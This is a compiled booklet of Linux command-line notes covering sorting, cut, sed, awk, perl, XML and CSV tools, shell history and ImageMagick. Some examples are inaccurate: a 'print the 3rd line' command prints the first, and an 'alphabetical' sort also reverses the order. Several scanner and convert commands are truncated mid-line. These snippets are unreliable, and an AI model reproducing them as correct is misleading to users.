data jargon @@ delimiter This is a something which separate 2 field or marks the beginning or end of some data. If we have 2 numbers separated by a space character as in '23.2 200' then we say that the data is 'delimited' by spaces. @@ field A field is a unit of data in a record. If we have data about people, then 3 fields may be a persons first name, second name and age. However the way that data is broken up into fields is subjective and option culturally dependent. Therefore there is no universally accepted data format @@ data record a record is a set of data fields which relate to a particular entity. For example if we store data about people, then a record will contain data for one person. The way the record is stored is dependant upon the data format. @@ export data The process of exporting data involves converting data to a particular format and saving it in a file or files. @@ import data

related booklets @@ http://bumble.sf.net/books/awk/awk-book.txt A small booklet about the awk language, also available as a pdf file. @@ http://bumble.sf.net/books/perl/perl-book.txt a booklet about the perl language

The delimiter character for cut can only be a single character, as far as I am aware. If more processing power is needed then the reader should consider using awk, sed, or perl.

* show the second "field" of each line with space delimited fields

 cut -d ' ' -f 2 data.txt 

If any extra spaces are in the file, this will fail

* with space separated fields, first get rid of unwanted spaces with sed

 sed -r 's/^\s+//; s/\s+/ /g' cgt.txt | cut -d' ' -f2 
if the data were spain 4 5 italy 11 5 england 4 6 then the output would be 4 11 4 ,,,

* show every comma delimited field except the second

 cut -d, -f 2 --complement list.txt
if the content of 'list.txt' was a,b,c,d f,g,h,i then the output would be a,c,d f,h,i ,,,

* show the 2nd field and all subsequent fields of a comma delimited file

 cut -d, -f2- data.csv

* show the 1st, 2nd and 3rd fields

 cut -d, -f-3

* show fields 2, 3 and 4

 cut -d, -f2-4

* sort alphabetically on the 3rd field of the file ignoring initial blanks

 sort -k 3b

EXTRACTION

DATA FROM TEXT ....

* display all the urls from 'essay.txt' and select to open in browser

 urlview essay.txt

TIDYING

TEXT FILES ....

* see how many lines in a text file are consecutive and duplicate

 uniq -d file.txt | wc -l   ##(this also counts duplicate blank lines)

* show all duplicated (consecutive) lines in a text file

 uniq -d file.txt 

* output the file 'paper' with 1 space between words and 2 after fullstops

 fmt -u paper 

* show the file 'term-paper' with multiple blank lines as only one blank line

 cat -s term-paper 

* display 'term-paper' with multiple blank lines removed and giving the text unified spacing between words

 cat -s term-paper | fmt -u | less 

* output the file 'term-paper' with lines up to 75 characters long

 fmt term-paper 

* output the file 'doc.txt' with lines up to 80 characters long

 fmt -w 80 doc.txt

* wrap long lines in the file 'doc.txt' without disturbing special patterns

 par doc.txt

STREAM

EDITING TEXT FILES ....

'stream editing' or 'batch editing' text files refers to the process of modifying a text file without opening a text editor. In other words the text file is modified via a series of commands which are applied to a file or many files with a program such as sed, awk, perl, etc. This is very useful when a large number of modifications need to be made in many files and where those modifications are similar; For example where a persons name needs to be changed in a large number of files.

* Randomize lines (opposite of | sort)

 random -f <file>

* uniq for unsorted data

 awk '!_[$0]++{print}'

* Add a line to a file using sudo

 echo "foo bar" | sudo tee -a /path/to/some/file

* Remove duplicate entries in the file 'list.txt' without sorting.

 awk '!x[$0]++' list.txt 

SORTING

TEXT DATA

The unix 'sort' utility is a powerful and flexible way to reorder lines of a text file based on the data in one or more of the 'fields' of each line. A field is a chunk of text separated from another chunk by a 'delimiter' character such as a space or a colon. For example if the line is 'italy 3 4/oct/1999' and the delimiter is a space then the fields are 'italy', '3' and '4/oct/1999'

By default, sort divides a line into fields based on spaces or tabs but can use another character (see the -t option)

VIEWING

HELP FOR SORT ....

* view some examples of using the 'sort' program

 info coreutils 'sort invocation'

* view a confusing description about how 'sort' works

 man sort   ##(this is a classic example of an accurate but baffling man page)

BASIC

USAGE ....

* sort in alphabetical order (abc...) the lines of the text file 'data.txt'

 sort data.txt    ##(the sorted lines are displayed, the file is unchanged)

* sort in reverse alphabetical order (zxy...) the lines of the file 'data.txt'

 sort -r data.txt 

* sort in alphabetical order, ignoring case, the lines of the file 'data.txt'

 sort -fr data.txt 
 sort -f -r data.txt   ##(the same)

* sort in alphabetical order using the 3rd 'field' in each line as the sort key

 sort -k3 data.txt  ##(each 'field' is a bit of text separated by spaces)
 sort +2 data.txt   ##(prehistoric syntax, probably to be avoided like bubonic)

* Sort IPV4 ip addresses

 sort -t. -k1,1n -k2,2n -k3,3n -k4,4n

* sort lines by length

 perl -lne '$l{$_}=length;END{for(sort{$l{$a}<=>$l{$b}}keys %l){print}}' < /usr/share/dict/words | tail

SORT

INPLACE ....

* sort a file and update it

 sort -o data.txt data.txt       ##(is this safe??)
 sort --output=data.txt data.txt

SORTING

BY MULTIPLE FIELDS ....

The lines of a file can be sorted first by one field, and then by a second field when the value of the 1st field is equal

* sort a file alphabetically by the 1st field and then numerically by the 2nd

 sort -k1 -nk2 data.txt  

* sort the lines alphabetically using the first 3 fields of the file

 sort -k 1,3 data

NUMERICAL

SORTS ....

* perform a numerical sort using the second field

 sort -k2,2n data.txt  ##(2,2 means from the 2nd to the 2nd field)
 sort -n -k2 data.txt  ##(watch out! this may be different ??)

* sort lines using the 2nd field as a numeric key with fields delimited by '/'

 sort -n -t/ -k2 data.txt 
 sort -n -t'/' -k2 data.txt    ##(the same)
 sort -nt/ -k2 data.txt      ##(the same, again)

* sort in ascending numerical order using the 2nd field as the sorting key

 sort -k 2,2n data   ##(possibly the correct way to do this)
 sort -k 2n,2n data  ##(the same)
 sort -n -k2 data    ##(this may be subtly different)
 sort -nk2 data      ##(options can be written together)

* sort the lines of 'data' using the 3rd ':' delimited field as a number key

 sort -n -k3 -t: data
 sort -nk3 -t: data       ##(the same)
 sort -nk3 -t :  data     ##(the same again)

* sort the lines of 'data' in descending (reverse) numeric order

 sort -rn data

* sort lines in descending numerical order using the 2nd field as the sort key

 sort -k2 -r -n data.txt
 sort -rnk2 data.txt    ##(the same, but better)

* sort in ascending numeric order using only the 1st digit of the 2nd field

 sort -nk2.1,2.1 data.txt ##('2.1,2.1' means 'from the 1st to the 1st char)

* sort in descending numeric order using the first 3 digits of the 2nd field

 sort -rnk2.1,2.3 data.txt 

SORTING

BY DATE VALUES ....

The problem of sorting by a date value is somewhat tricky, mainly because of the daunting array of different formats which a date can appear in, without even thinking about intercultural differences. However 'sort' is capable of sorting by date value, where the dates are in a consitent format.

Where the date string is of a variable length the problem gets harder. It may be possible to use the -t delimiter to divide up each field of the date (eg use '-t/' for '1/january/08' and '02/oct/2001')

* Use the 'M' modifier to recognise month names and abbreviated month names

* sort lines by month name, assuming that field 3 is an english month name

 sort -k3M data  ##(field 3 can be something like 'feb', 'oct' or 'january')

* sort by month names using the 3rd character of the 2nd field as the start point

 sort -k2.3M data  ##(field 2 may be '--jan' or '::august' etc)

* sort lines by the 1st field, a date in the format dd/mm/yyyy (eg '09/11/1922')

 sort -k 1.7n -k 1.4n -k 1.1n -k 4.14,4.21 data.txt
##(note that '4/11/1920' will not sort well but '04/11/1920' will)

* reverse sort lines by a date field in the format dd/mm/yyyy

 sort -k 1.7nr -k 1.4nr -k 1.1nr data.txt

* sort lines with the second field a date in format dd/MON/yyyy '02/Apr/2010'

 sort -k 1.8n -k 1.4M -k 1.1n data.txt
##(the month abbreviations must be 3 letters, and in english ...)

* sort lines by a date/time value such as '01/Jan/2004:06:31:51'

 sort -k 1.8n -k 1.4M -k 1.1n -k 1.13,1.21 data.txt
##(this assumes the date is the first field of each line)

FIELDS

AND PARTIAL FIELDS ....

* sort lines starting the key at the second character of the 2nd field

 sort -k2.2 data

* sort using characters 2 to 8 as the alphabetic sort key

 sort -k2.2,2.8 data

OTHER

TOOLS ....

* tsort is a mysterious tool

 tsort 

* sort text files by the number of lines which they contain, reverse order

 file * | grep text | sed "s/:.*//" | xargs wc -l | sort -rn | grep -v "total$" | less

* display the lines in a text file 'shuffled'

 shuf file.txt

* shuffle lines in a file and update the file

 shuf -o F <F'       ##(according to the man pages, this is safe) 
 cat F | shuf -o F   ##(the same, no risk of truncation 'apparently')

* shuffle some lines entered at the prompt shuf <<eof A man, a plan, a canal:
invasion! eof ,,,

* shuffle command line arguments shuf -e clubs hearts diamonds output:
hearts diamonds clubs ,,,

* display the lines of a file in reverse order

 tac file     ##(yes 'tac' is the reverse of 'cat')

TYPESETTING

TEXT DOCUMENTS

This section explains how to prepare documents to be printed on paper. This is actually a really large topic. See also the latex-book.txt file for detailed information about the Latex typesetting system.

typesetting tool quick summary .. groff, an old unix system, used for 'man' pages .. latex, extensive system widely used for scientific and maths docs .. docbook, an xml based "super" system .. pod, the perl document system, .. man, the old unix "manual page" system based on groff .. enscript, turns text into pdf in a configurable manner .. markdown, minimal text markup .. pandoc, implements and extends markdown, lots of output format .. phpmarkdown, a php implementation of markdown ..

OVERVIEW

....

This section tries to give an overview of the numerous tools available to produce 'typeset' documents in a format ready to be sent to a printer (such as pdf or postscript).

@@ markdown The user writes a plain text document adhering to certain formatting rules ... and markdown produces a formatted html document @@ halibut The user embeds simple 'markup' codes into the text document and the tool can convert the document into a variety of output formats including pdf @@ reStructured text another philosophy similar to markdown

@@ http://docutils.sourceforge.net/docs/ref/rst/introduction.html a page about 'restructured text'

LATEX

....

Latex is for people who have 4 years to write a thesis. If you have less time, use enscript or halibut.

see the latex booklet at http://bumble.sf.net/books/latex/latex-book.txt

* convert a latex source file (.tex) into opendocument (.odt )

 htlatex MyFile.tex "xhtml,ooffice" "ooffice/! -cmozhtf" "-coo -cvalidate"

TEXT

DATA FORMATS

* store personal contact information in a text file

 vcard

XML

....

@@ http://xmlstar.source¿forge.net/ The home page for xmlstarlet @@ xmlsoft.org more linux xml software @@ http://xmlstar.sourceforge.net/doc/xmlstarlet.txt xmlstarlet examples

xml tools .. xmlstarlet - useful tools for xml from the command line ..

* remove comments from xml

 cat <filename> | perl -e '$/ = ""; $_ = <>; s/<!--.*?-->//gs; print;'

* remove comments from the xml file 'page.xhtml'

 xmlstarlet ed -d '//comment()' page.xhtml

* show some help information for the 'ed' option of xmlstarlet

 xmlstarlet ed -h

* display the xml entity for the & ampersand character

 xmlstarlet esc '&'

* Count elements matching XPath expression

 xmlstarlet sel -t -v "count(/xml/table/rec/numField)" xml/table.xml

* Count all nodes in XML document

 xmlstarlet sel -t -f -o " " -v "count(//node())" xml/table.xml xml/tab-obj.xml

* Delete elements matching XPath expression

 xml ed -d /xml/table/rec[@id='2'] xml/table.xml

* Generate HTML from given SGML docbook document

 xml tr --omit-decl --docbook /usr/share/sgml/docbook/yelp/docbook/html/docbook.xsl  sgml/docbook1.sgml | xml fo --html --indent-spaces 2

* Validate XML document against a DTD

 xml val --dtd dtd/table.dtd xml/tab-obj.xml >/dev/null 2>&1; echo $?

* Prettify an XML file

 tidy -xml -i -m [file]

CSV

....

csv stands for 'comma separated something' and is an old and simple text data format. A simple example of a line in a csv file would be

 "Bob", "Green", 43

Where each of the fields may stand for 'first name', 'second name' and age.

* sum all the numbers in the 4th column from a csv data file

 awk -F ',' '{ x = x + $4 } END { print x }' test.csv

* turn lines in columns in csv format

 ls | sed -n '1h;2,$H;${g;s/\n/,/g;p}'

* convert 'csv' text data files to 'tsv' (tab delimited format)

 sed 's/,/\t/g' report.csv > report.tsv

* sum columns from csv column $col

 perl -ne 'split /,/ ; $a+= $_[3]; END {print $a."\n";}' -f ./file.csv

* pretty-print a simple csv file on the command line

 column -s, -t <tmp.csv

* parse a quoted .csv file

 awk -F'^"|", "|"$' '{ print $2,$3,$4 }' file.csv

* extract the 2nd field of a csv file with 'cut'

 cut -d\" -f2 file.csv
 cut '-d"' -f2 file.csv

TEXT

ORIENTED PROGRAMMING LANGUAGES

THE

AWK LANGUAGE ....

@@ http://www.grymoire.com/Unix/Awk.html a tutorial @@ http://www.pement.org/awk/awk1line.txt one line examples of awk

* Randomize lines in a file

 awk 'BEGIN{srand()}{print rand(),$0}' SOMEFILE | sort -n | cut -d ' ' -f2-

* Print a row of 50 hyphens

 awk 'BEGIN{while (a++<50) s=s "-"; print s}'

* Calculating series with awk: add numbers from 1 to 100

 seq 100 | awk '{sum+=$1} END {print sum}'

* print file without duplicated lines using awk

 awk '!($0 in a) {a[$0];print}' file

* Print line immediately before a matching regex.

 awk '/regex/{print x};{x=$0}'

GREP

....

Grep is the classic and venerable unix tool for searching for text within files.

* count how many times a string appears in a tree of files

 grep -or string path/ | wc -l

* permanently let 'grep' colorize its output

 echo alias grep=\'grep --color=auto\' >> ~/.bashrc ; . ~/.bashrc

* Search through files, ignoring .svn

 grep <pattern> -R . --exclude-dir='.svn'

* Output files without comments or empty lines

 grep -v "^\($\|#\)" <filenames>

* Colorize matching string without skipping others

 egrep --color=auto 'usb|' /var/log/messages

* find string

 grep -iR find_me ./

SED

STREAM EDITOR ....

This section provides only a very brief overview to the sed stream editor attempting to cover only the most common tasks which may be performed with sed. For more information see the booklet 'sed-book.txt'

@@ http://sed.sourceforge.net/sedfaq.html The official site for sed containing many examples

* perform sed substitution on all but the last line of input

 sed -e "$ ! s/$/,/"

* replace 'a' with 'A', 'b' with 'B' etc, similar to the 'tr' tool

 sed "y/abcd/ABCD/g" 

* convert words beginning in 'b' or 'c' to upper case

 sed -r "s/\<(b|c)[a-z]+/\U&/g"      

* convert upper case words to lower case

 sed -r "s/\<[[:upper:]]+\>/\L&/g" 

* match words beginning in 'a' or 'b'

 sed -r "s/\<(a|b)[a-z]+/&/g"    

* make changes to files and back up to .bak

 sed -i.bak -r "s/yes/no/g" *.txt    ##(gnused 4)

* detailed information about gnu regular expressions (used in sed)

 man 7 regex

* delete uppercase letters and commas.

 sed -r 's/[[:upper:],]//g'

PERL

Perl is a language which was originally inspired by the Bash shell syntax, as well as by the idea of writing terse but powerful programs. Perl initially rose to fame through its suitability for writing web-server cgi scripts, since perl, like the unix shells, uses plain text as a kind of "data interchange format".

This section only provides the briefest of introduction to perl, with an emphasis on using short, one-line programs for carrying out a simple task from the bash-shell.

* a command line calculator in perl

 perl -e 'for(@ARGV){s/x/*/g;s/v/sqrt /g;s/\^/**/g};print eval(join("",@ARGV)),$/;'

* determine if a regular expression has a valid syntax

 perl -we 'my $regex = eval {qr/.*/}; die "$@" if $@;'

* a command which will make perl crash

 perl -e '$x = []; push @$x, eval { $x = 1; return $x = 1; }'

* transform the contents of a text file to all uppercase.

 perl -i -ne 'print uc $_' $1

* print the line numbers of a text file

 perl -ne 'print "$. - $_"' infile.txt

* Sort the size usage of a directory tree by gigabytes, kilobytes,

 du -b --max-depth 1 | sort -nr | perl -pe 's{([0-9]+)}{sprintf "%.1f%s", $1>=2**30? ($1/2**30, "G"): $1>=2**20? ($1/2**20, "M"): $1>=2**10? ($1/2**10, "K"): ($1, "")}e'

PERL

DOCUMENTATION ....

debian: perl-doc - to use the perldoc tool

* query the perl "frequently asked questions" documents for a word or phrase

 perldoc -q eval

* show the documentation for the CGI module

 perldoc CGI   ##(these names are case-sensitive, "perldoc cgi" doesnt work)

PERL

ONE LINE SCRIPTS ....

* include 2 perl expressions with the -e expression

 perl -e 'print "Hello";' -e 'print " World\n"'

* print the 1st and 2nd fields of the input lines

 echo a b c | perl -lane 'print "@F[0..1]"'

* print the 3rd line of a file

 perl -nle 'print if $. == 1' file.txt

* display the current week number

 perl -e 'use Date::Calc qw(Today Week_Number); $weekn = Week_Number(Today); print "$weekn\n"'

PERL

MODULES ....

* Upgrade all perl modules via CPAN

 perl -MCPAN -e 'CPAN::Shell->install(CPAN::Shell->r)'

* Upgrade all perl modules via CPAN

 cpan -r

* Open Perl module source in your editor

 $EDITOR `perldoc -l Module::Name`

* clean up syntax and de-obfuscate perl script

 %! perl -MO=Deparse | perltidy

PYTHON

* one-liner to display ip addresses

 python -c "import socket; print '\n'.join(socket.gethostbyname_ex(socket.gethostname())[2])"

* An easter egg built into python to give you the Zen of Python

 python -c 'import this'

* Cleanup Python bytecode files

 find . -name "*.py[co]" -exec rm -f {} \;

* Quick syntax highlighting with multiple output formats

 $ python -m pygments -o source.html source.py

RUBY

Ruby is a language which, along with Python has become increasingly popular. The 'Ruby on Rails' system is a frame-work for creating web-applications (complex websites)

* Display command lines visible on commandlinefu.com homepage

 ruby -ropen-uri -e 'require "hpricot";(Hpricot(open("http://commandlinefu.com"))/".command").each{| c| puts c.to_plain_text}'

* print a row of 50 hyphens

 ruby -e 'puts "-" * 50'

* ruby one-liner to get the current week number

 ruby -rdate -e 'p DateTime.now.cweek'

* ruby one-liner to get the current week number

 ruby -e 'require "date"; puts DateTime.now.cweek'

PHP

* run php code inline from the command line

 php -r 'echo strtotime("2009/02/13 15:31:30")."\n";'

* display information about the php configuration

 php -i

* test the php configuration

 php -r "phpinfo\(\);"

* search a folder to check for syntax errors in php files

 find . -name "*.php" -exec php -l {} \;

THE

C LANGUAGE

* enter and compile a c one line program

 /lib/ld-linux.so.2 =(echo -e '#include <stdio.h>\nint main(){printf("c one liners\\n");}' | gcc -x c -o /dev/stdout -)  ##(?? unchecked code)

SOURCE

CODE FILES

VIEWING

SOURCE CODE ....

* view 'script.sh' in a pager with some syntax highlighting

 over myscript.sh     ##(over is part of the 'enscript' package)

FORMATTING

AND INDENTING SOURCE CODE ....

The program 'indent' is designed for c and cpp but can be used for java as well.

* format source code

 astyle, indent, bcpp

* indent a c file with no brace indent,

 indent -bli0 <file.c ##(The '{' will be directly under the clause)

* indent 'file.c' but dont put blank lines after procedures

 indent -nbap <file.c

* indent Test.java using the 'kernighan & ritchie' style (compact)

 indent -kr Test.java -st | less

* indent 'file.c' without lining up parenthesis (). (prevents large indents)

 cat file.c | indent -kr -nlp -st | less
##(the 'k & r' style puts the braces on the same line)

* indent Test.java with an indent of 2 spaces, writing to standard output

 indent -gnu --indent-level2  -st Test.java | less
##(the gnu style puts the curly braces underneath the previous line)

* bli is the brace indent

* indent the java code file 'original', with an indent of 2 spaces

 astyle -js2 < original > new
 astyle --mode=java --indent=2 < original > new  ##(the same)

CONVERTING

TO SYNTAX HIGHLIGHTED DOCUMENTS ....

The following tools can convert source code in a text file to another format, such as HTML, rtf or LaTeX, with the syntax of the source code highlighted for easier reading. For HTML, the tool 'webcpp' seems to produce the nicest looking output (at least with the default settings). All the tools support a number of programming languages for the input code file.

Syntax highlighting tools @@ webcpp http://webcpp.sourceforge.net outputs only in HTML @@ highlight outputs formats: ansi latex xterm256 rtf tex xhtml xml svg @@ gnu source-highlight output formats: HTML, XHTML, LaTeX, Texinfo, ANSI color escape codes and DocBook @@ the vim editor @@ enscript

* convert source code to highlighted html with no <html> <body> tags

 webcpp codefile htmlfile -s

* convert 'file' to html, writing to standard out with unix script type

 cat file | webcpp - - -x=sh -s | less

* convert java code to html with line numbers and internal css definition

 highlight -i Test.java -o Test.java.html -I -l

* convert a c file to LaTeX with the syntax highlighted

 highlight -L -i main.cpp -o main.cpp.tex

* 'highlight' output formats

 LaTeX (-L), XHTML (-X), TeX (-T), RTF (-R), ANSI Escape Quotes(-A), and XML (-Z). 

* convert a c++ file to html from an input stream and with external css

 highlight < main.cpp > main.cpp.html -Sc

* convert chom.c to pretty printed postscript with 2 columns, landscape

 enscript -p new.ps -Ec -2 -r -f "Courier8" chom.c
 enscript -p new.ps -2rEc -f Courier8 chom.c     ##(the same)

the enscript options used .. -p - output to the file 'new.ps' .. -r - landscape .. -2 - two columns .. -Ec - syntax highlight with 'c' syntax .. -f "Courier8" - use a 8 point courier font ..

* convert 'Assig.java' to a syntax highlighted 6 point pdf file

 enscript -o - -2rE -f Courier6 Assig.java | ps2pdf - Assig.pdf

the enscript options used .. -r - landscape .. -2 - two columns .. -E - syntax highlight the code .. -f "Courier6" - use a 6 point courier font .. -o - sent the output to standard out ..

* see what computer languages enscript can handle

 enscript --help-pretty-print

COMMAND

HISTORY

The 'history' file is a special text file which contains all recent commands which have been entered at the command line. This is invaluable to avoid retyping things.

@@ http://bumble.sf.net/books/bash/bash-book.txt Contains more information about the bash history file

* put a time stamp in the command history and store more commands

 export HISTTIMEFORMAT='%Y.%m.%d-%T :: ' HISTFILESIZE=50000 HISTSIZE=50000

This will result in the 'history' command displaying something like 514 2010.05.12-09:15:26 :: ls -thor 515 2010.05.12-09:15:50 :: java AssigOne110 516 2010.05.12-09:16:36 :: ls ,,,

* A function to display the history and optionally search through it

 h(){ if [ -z "$1" ]; then history; else history | grep "$@"; fi; }; h
 h(){ [ -z "$1" ] && history || history | grep "$@"; }; h

* clear your history saved into .bash_history file

 history -c && rm -f ~/.bash_history

* clear your history saved into .bash_history file

 history -c

* put environment variable in history to edit

 print -s "PATH='$PATH'"

* A bit of privacy in .bash_history

 export HISTCONTROL=ignoreboth

* List of commands you use most often

 history | awk '{a[$2]++}END{for(i in a){print a[i] " " i}}' | sort -rn | head

* find the longest command in your history

 history | perl -lane '$lsize{$_} = scalar(@F); if($longest<$lsize{$_}) { $longest = $lsize{$_}; print "$_"; };' | tail -n1

* exit without saving history

 kill -9 $$

* See most used commands

 history|awk '{print $2}'|awk 'BEGIN {FS="|"} {print $1}'|sort|uniq -c|sort -r

* Avoiding history file to be overwritten

 shopt -s histappend

* Add timestamp to history

 export HISTTIMEFORMAT="%F %T "

* delete a line from your shell history

 history -d

TEXT

AND CHARACTER RECOGNITION

See http://bumble.sf.net/books/linux-image/ for more information about this topic

The process of extracting text data from an image file (which has usually been obtained by scanning a page of typed text) is known as "ocr" for Optical Character Recognition

ocr tools .. tesseract-ocr - Command line OCR tool, said to be mature .. ocropus - google sponsored ocr tool, uses tesseract .. gocr - .. ocrad - .. clara - .. unpaper - improve the quality of scanned text images ..

IMAGES

@@ http://bumble.sf.net/books/linux-image/linux-image-book.txt A more comprehensive treatment of images on linux

* Determine an image's dimensions

 identify -format "%wx%h" /path/to/image.jpg

* Convert images (jpg, png, ...) into a big PDF 'big.pdf'

 convert images*.* big.pdf

RECIPES

....

* browse the '.gif' images in the '/usr/doc/imagemagick/examples' directory

 display 'vid:/usr/doc/imagemagick/examples/*.gif' 

* browse through all image files in the current directory

 display 'vid:*' 

In the preceding example, only those files with image formats supported by display are read and displayed.

* put the image 'tetra.jpeg' in the root window

 display -window root tetra.jpeg 

Use zgv to view images in a virtual console (not in X). You can use zgv

* browse the images in the current directory

 zgv 
* browse the images in the '/usr/share/gimp/scripts' directory, type:
 zgv /usr/share/gimp/scripts 
Use the arrow keys to navigate through the file display; the red border

* view the file '/usr/share/images/mondrian-15.jpeg' file:/usr/share/images/mondrian-15.jpeg Notice that the given [36]file: URL only has one preceding slash, pointing to the root directory, and not two, as in [37 http://.

* browse the images on the PhotoCD disc mounted on '/cdrom'

 xpcd /cdrom 
The preceding example will open two new windows -- a small xpcd command bar window, and a larger window containing thumbnails of all PhotoCD

* view the PhotoCD file 'driveby-001.pcd'

 xpcd driveby-001.pcd 

NOTE

: You can also use display to view a '.pcd' PhotoCD image file (see

* resize 'phoenix.jpeg' to 480x320 pixels

 mogrify -geometry 480x320 phoenix.jpeg 
This transforms the original 'phoenix.jpeg' file to:
editing-images-scaling-01

* resize 'phoenix.jpeg' to exactly 480x320 pixels, regardless of aspect ratio

 mogrify -geometry 640x480! phoenix.jpeg 
This transforms the original 'phoenix.jpeg' to:

* increase the height of 'phoenix.jpeg' by 25 percent and decrease its width by 50 percent

 mogrify -geometry 125%x50% phoenix.jpeg 

* rotate 'phoenix.jpeg', whose height exceeds its width, by 90 degrees

 mogrify -rotate '90<' phoenix.jpeg 

* reduce the colors in 'phoenix.jpeg' to two

 mogrify -colors 2 phoenix.jpeg 
This transforms the original 'phoenix.jpeg' to:
editing-images-colors-01

* reduce the colors in 'phoenix.jpeg' to four and apply Floyd-Steinberg error diffusion

 mogrify -colors 4 -dither phoenix.jpeg 
This transforms the original 'phoenix.jpeg' to:

* change the colors in the file 'rainbow.jpeg' to those used in the file 'prism.jpeg'

 mogrify -map prism.jpeg rainbow.jpeg 
Use the '-monochrome' option to make a color image black and white. * make the color image 'rainbow.jpeg' black and white
 mogrify -monochrome rainbow.jpeg 
If you have a PPM file, use ppmquant to quantize, or reduce to a specified quantity the colors in the image -- see the ppmquant man page

* set the gamma correction of the image 'rainbow.jpeg' to .8, type:

 mogrify -gamma .8 rainbow.jpeg 

* annotate the image file 'phoenix.jpeg', type (all on one line):

 mogrify -comment "If you can read this,
you're too close!" phoenix.jpeg You won't see the annotation when you view the image; it is added to

* read any comments made in the image file 'phoenix.jpeg'

 rdjpgcom phoenix.jpeg 

* add a border two pixels wide and four pixels high to 'phoenix.jpeg'

 mogrify -border 2x4 phoenix.jpeg 

* add a decorative frame eight pixels wide and eight pixels high to 'phoenix.jpeg'

 mogrify -frame 8x8 phoenix.jpeg 
This transforms the original 'phoenix.jpeg' to:

* create a montage from the files 'owl.jpeg', `thrush.jpeg', and 'warbler.jpeg' and write it to `endangered-birds.png'

 montage owl.jpeg thrush.jpeg warbler.jpeg endangered-birds.png 

NOTE

: In this example, three JPEGs were read and output to a PNG file;

* combine two images, 'ashes.jpeg' and `phoenix.jpeg', into a new file 'picture.jpeg'

 combine ashes.jpeg phoenix.jpeg picture.jpeg 
You can specify the percentage to blend two images together with the

* combine the image files 'phoenix.jpeg' and `ashes.jpeg' so that the blended image contains 70 percent of the second image

 combine -blend 70 ashes.jpeg phoenix.jpeg picture.jpeg 
This command combines the two images and writes a new image file,

* make a morphed image of the files 'ashes.jpeg' and 'phoenix.jpeg', and write it to `picture.jpeg'

 combine -compose difference ashes.jpeg phoenix.jpeg picture.jpeg 
The result in file 'picture.jpeg' is:

* convert the JPEG file 'phoenix.jpeg' to a PNG image

 convert phoenix.jpeg phoenix.png 
This command converts the JPEG image 'phoenix.jpeg' to PNG format and writes it to a new file, 'phoenix.png'.

* convert the PNM file 'pike.pnm' to non-interlaced JPEG while sharpening the image by 50 percent and adding both a 2x2 border and a copyright comment

 convert -interlace NONE -sharpen 50 -border 2x2

* list available scanner devices

 scanimage --list-devices 

device 'umax:/dev/sgb' is a UMAX Astra 1220S flatbed scanner

* list available options supported by the device listed in the previous example

 scanimage --help -d 'umax:/dev/sgb' 

NOTE

: For all scanimage commands, specify the scanner device you want

* test the UMAX scanner listed previously

 scanimage --test -d 'umax:/dev/sgb' 

Debian: 'netpbm'

* make a 72 dpi scan of a color image 200 pixels wide and 100 pixels tall, using the UNIX scanner from previous examples, and writing to a file called 'scan.ppm'

 scanimage -d umax:/dev/sgb --resolution 72 -x 200 -y 100 >

* make a 300 dpi scan of a black and white image 180 pixels wide and 225 pixels tall, using the UMAX scanner from previous examples, and writing to a file called 'scan.pbm'

 scanimage -d umax:/dev/sgb --resolution 300 --mode lineart

* extract the highest resolution from the file 'slack.pcd' and save it to a PPM file named 'slack.ppm'

 pcdtoppm -r5 slack.pcd slack.ppm 
* [37]Converting PhotoCD: Converting PhotoCD images to other formats.

* convert the file 'slack.ppm' to non-interlaced JPEG, sharpen the image, add a two-pixel by two-pixel border, and annotate the image, type (all on one line):

 convert -interlace NONE -sharpen 50 -border 2x2 -comment

* remove the "green haze" from a PhotoCD image, do the following:
+ First, open the extracted image in the GIMP (see [44]Editing Images with the GIMP). + Then, click through the Image menu to the Colors submenu and

MANAGING

IMAGES ....

* find all image files in the 'icons' folder

 find /usr/share/icons/ | xargs file | grep image | less

* find all image files on the computer

 sudo find / | xargs file | grep ' image' | less

VIEWING

IMAGES ....

linux image viewers .. xv - an old x windows viewer .. xli - another one .. aview - ascii image viewer .. asciiview - .. feh - a fast command line driven image viewer .. gthumb - a gnome viewer and simple editor .. geeqie - gtk image viewer .. gpicview - small image viewer .. gqview - simple gtk image viewer, emacs style keys .. eye of gnome - the gnome viewer .. mirage - simple gtk viewer, with thumbnails .. imgseek - image viewer, manager, requires python .. pqiv - similar to qiv, but different, very basic .. qiv - quick image viewer, up to date .. gwenview - kde image viewer .. showfoto - kde ..

* show jpegs with thumbnails

 find ~ -name '*.jpg' | xargs mirage 

FEH

....

Feh is a fast command line driven image viewer. maybe just what we need.

* show all the images in the /opt/images tree in a slideshow.

 feh -r /opt/images

* same again, but sort by image name before showing.

 feh -rSname /opt/image

* create a montage from the images in /opt/images/landscapes

 feh -m /opt/images/landscapes

* Create a montage from the images in /opt/images/landscapes and * all directories below it. Limit the width of the image to 400 * and make the thumbnails 30x20, ignoring aspect ratio

 feh -Xrm -W 400 --thumb-width 30 --thumb-height 20 ./landscapes

* view jpgs and gifs with thumbnails

 find ~ -name '*.jpg' -o -name '*.gif' | xargs gthumb

* open all images specified in the text file 'images.txt' (one per line)

 qiv -F images.txt
 qiv --file images.txt

* display all jpg and gif images shrinking to fit them in the window

 find ~ -name '*.jpg' -o -name '*.gif' | xargs qiv -t

* browse through all "gif" images in the current folder "gallery" style

 display 'vid:*.gif'

IMAGE

METADATA ....

* Remove EXIF data from images with progress

 i=0; f=$(find . -type f -iregex ".*jpg");c=$(echo $f|sed "s/ /\n/g"| wc -l);for x in $f;do i=$(($i + 1));echo "$x $i of $c"; mogrify -strip $x;done

SCREENSHOTS

....

tools for screen capture .. import - makes screen shots, part of 'imagemagick' package. .. scrot - a simple command line screen capture utility .. screencapture - the macosx (jaguar) utility ..

The process of creating an image from what is currently displayed on the computer screen is generally known as "screen capture" or a "screenshot"

* take a screenshot of the desktop window after 5 seconds, and display it

 import -pause 5 -window root desk.png; display desk.png
 scrot -d 5 desk.png; display desk.png    ##(the same)

Using a pause like this before taking the screenshot, allows you to rearrange the windows on the desktop if you so desire.

* take a screen shot of the whole screen and save it to 'test.png'

 scrot test.png

* take a low-quality screen shot in 'test.png' and display it

 scrot -q 10 test.png; feh test.png

* on macosx capture the whole screen as a jpg image and display it

 screencapture -tjpg test.jpg; open test.jpg

* make an image of the currently focussed window and save as 'test.jpg'

 scrot -u test.jpg

* capture a window, with its window frame, save in the file 'i.png'

 import -frame i.png 

After typing this, left-click on the window you want to capture. In other words the technique above, is an 'interactive' technique for capturing an image of a screen

META

DATA ....

* command to change the exif date time of a image

 exiftool -DateTimeOriginal='2009:01:01 02:03:04' file.jpg

* set timestamp in exif of a image

 exiv2 -M"set Exif.Photo.DateTimeOriginal `date "+%Y:%m:%d %H:%M:%S"`" filename.jpg

IMAGE

INFORMATION ....

